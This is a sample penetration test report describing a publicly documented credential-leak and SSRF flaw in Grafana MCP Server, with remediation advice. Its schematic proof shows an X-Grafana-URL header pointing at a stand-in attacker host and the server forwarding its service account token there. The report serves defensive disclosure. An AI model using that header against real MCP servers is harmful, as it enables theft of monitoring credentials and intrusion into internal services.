Pentest report example: what your penetration test report looks like.

What management needs to know

We tested how an AI assistant accesses your monitoring through Grafana MCP Server. The key finding: an attacker could have redirected the credentials for your monitoring to a server of their own, without a password and without anyone on your team clicking anything. With those credentials they would have seen everything the configured service account may see in Grafana, and they could have made the server send requests to internal services. Overall rating: high risk (CVSS 8.6), now fixed. Key recommendation: update to version 0.17.2 or later and replace the service account token.

All findings at a glance

Sorted by severity. This sample deliberately lists one finding only: the real, publicly documented one. We do not invent others to fill the table.

How to read severity

The ratings follow the CVSS 3.1 scale. The time frames are our recommendation; in your report we adapt them to your operations.

CS42-01: Credentials follow a caller-supplied URL

Description

Grafana MCP Server connects AI assistants to Grafana. It takes its credentials from the environment it runs in: a Grafana service account token, and where configured an API key, basic auth or extra headers. Which Grafana address it talks to could additionally be set per request through the X-Grafana-URL header. Up to version 0.17.1 the server sent its credentials to whatever address that header contained, including a foreign one.

Impact

Business: anyone who can reach the MCP server needs no password. One request is enough, and the server hands over the key to your monitoring. The attacker then sees what the service account may see, such as dashboards, metrics and data sources, and more depending on its permissions.

Technical: the server acts with its own privileges against a target chosen by the caller (confused deputy). According to the CVE record, this lets an unauthenticated remote attacker exfiltrate the service account token, and also enables SSRF against arbitrary internal services, including cloud metadata endpoints. The vector says the same in short form: reachable over the network, low complexity, no privileges, no user interaction, impact beyond the MCP server, high loss of confidentiality.

Proof (schematic)

In public we show the flow, not working attack code. The real report contains the complete, reproducible proof for your developers, carried out with test accounts within the agreed scope.

# inbound: request to the MCP server (schematic)
X-Grafana-URL: https://attacker.example

# outbound: request sent by the MCP server
→ https://attacker.example/api/…
  Authorization: Bearer ████████████████  # service account token, redacted

# expected: requests only to the configured Grafana URL

Recommendations, by urgency

1. 1Now: update Grafana MCP Server to 0.17.2 or later.
2. 2Now: replace the service account token, since it cannot be ruled out that it has already leaked.
3. 3Short term: give the service account only the permissions the assistant really needs, for example read-only.
4. 4Short term: do not expose the MCP server to the open network, and restrict its outbound connections to your own Grafana instance.
5. 5Check: search the Grafana logs for service account access from unknown origins.

References

Fix in 0.17.2 confirmed

In a client engagement we repeat the proof from chapter 03 against the fixed version. For this sample, the status is based on the 0.17.2 release notes (13 July 2026): the credentials are bound to the configured Grafana URL. An address in the X-Grafana-URL header no longer causes them to be sent to a foreign host.

In this sample, the basis is the release notes of version 0.17.2 from 13 July 2026, which name exactly these four kinds of credentials. In your report, this section contains the repeated proof against your updated installation, with a date.

How we tested

1. 1Scope agreed in writing. Systems, time frame, contacts and limits are fixed before the first test. We test only what is listed there.
2. 2Test accounts, not live data. We work with accounts and data the client provides for the test.
3. 3Manual review of trust boundaries. At every interface we ask: who decides the target, with whose permissions, with which data? Tools help us search; a human makes the assessment.
4. 4Proof for every finding. No finding without an executed proof. Anything that cannot be proven appears as a note in the report, not as a finding.
5. 5Rating with CVSS 3.1 including the full vector, so your team can recompute every rating.
6. 6Retest. After you fix the issues, we test every finding again and record the result with a date.

CyberSec42 is an independent technical security assessment, not an accredited certification body. Every test is authorised within the scope agreed in writing. A report describes the state of the tested scope at the time of testing; it is not a promise that a system is free of vulnerabilities.